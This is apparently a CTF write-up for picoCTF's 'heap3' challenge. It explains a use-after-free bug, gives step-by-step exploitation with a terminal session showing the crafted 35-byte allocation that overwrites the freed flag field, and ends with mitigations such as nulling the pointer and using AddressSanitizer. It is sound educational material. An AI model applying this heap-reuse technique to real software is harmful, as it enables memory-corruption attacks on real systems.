This code contains a use-after-free (UAF) vulnerability, which is a type of memory corruption issue. Here’s a breakdown of the vulnerability:

Key Points of the Vulnerability:

1. x is Freed but Still Used
   • The init() function allocates memory for x and initializes its flag field with "bico".
   • The free_memory() function (option 5) frees x using free(x), but does not set x to NULL.
   • After freeing, x becomes a dangling pointer, meaning it still points to the freed memory.
2. Use of Freed Memory
   • Even after x is freed, the program continues to use it in:
     • print_heap() (option 1) → Accesses x->flag.
     • Option 3 → Prints x->flag.
     • check_win() (option 4) → Checks x->flag for the value "pico".
3. Allocation Control via alloc_object() (Option 2)
   • This function allows the user to allocate a chunk of arbitrary size and write data into it.
   • If the newly allocated chunk occupies the same memory previously used by x, the attacker can overwrite x->flag with "pico" to trigger the win condition.

Exploitation Steps:

1. Free x (Option 5) → Makes x a dangling pointer.
2. Allocate a new chunk (Option 2) with a size matching sizeof(object) (which is 35 bytes: 10+10+10+5).
   • Due to heap management (e.g., glibc’s malloc), this new allocation may reuse the freed x’s memory.
3. Write "pico" into the new allocation → Overwrites x->flag.
4. Call check_win() (Option 4) → Since x->flag is now "pico", the program prints the flag.

✗   heap3 (black@d4rk-pr0xy) ⇝ nc tethys.picoctf.net 65429

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 5

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 2                                 
Size of object allocation: 35
Data for flag: qwertyuiopasdfghjklzxcvbnm1234pico

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 3


x = pico


1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 4
YOU WIN!!11!!
picoCTF{now_thats**************}

Why This Works:

• After free(x), the memory is returned to the heap manager but not zeroed out.
• If a new allocation occupies the same space, x->flag can be controlled by user input.
• The check_win() function compares x->flag with "pico", allowing an attacker to manipulate it.

Mitigation:

• Nullify the pointer after freeing:

  void free_memory() {
      free(x);
      x = NULL;  // Prevent UAF
  }
  

• Use-after-free detectors (e.g., AddressSanitizer).
• Avoid accessing freed memory by ensuring pointers are invalidated after free().

This is a classic heap-based use-after-free bug that can lead to arbitrary code execution or, in this case, a fake win condition bypass.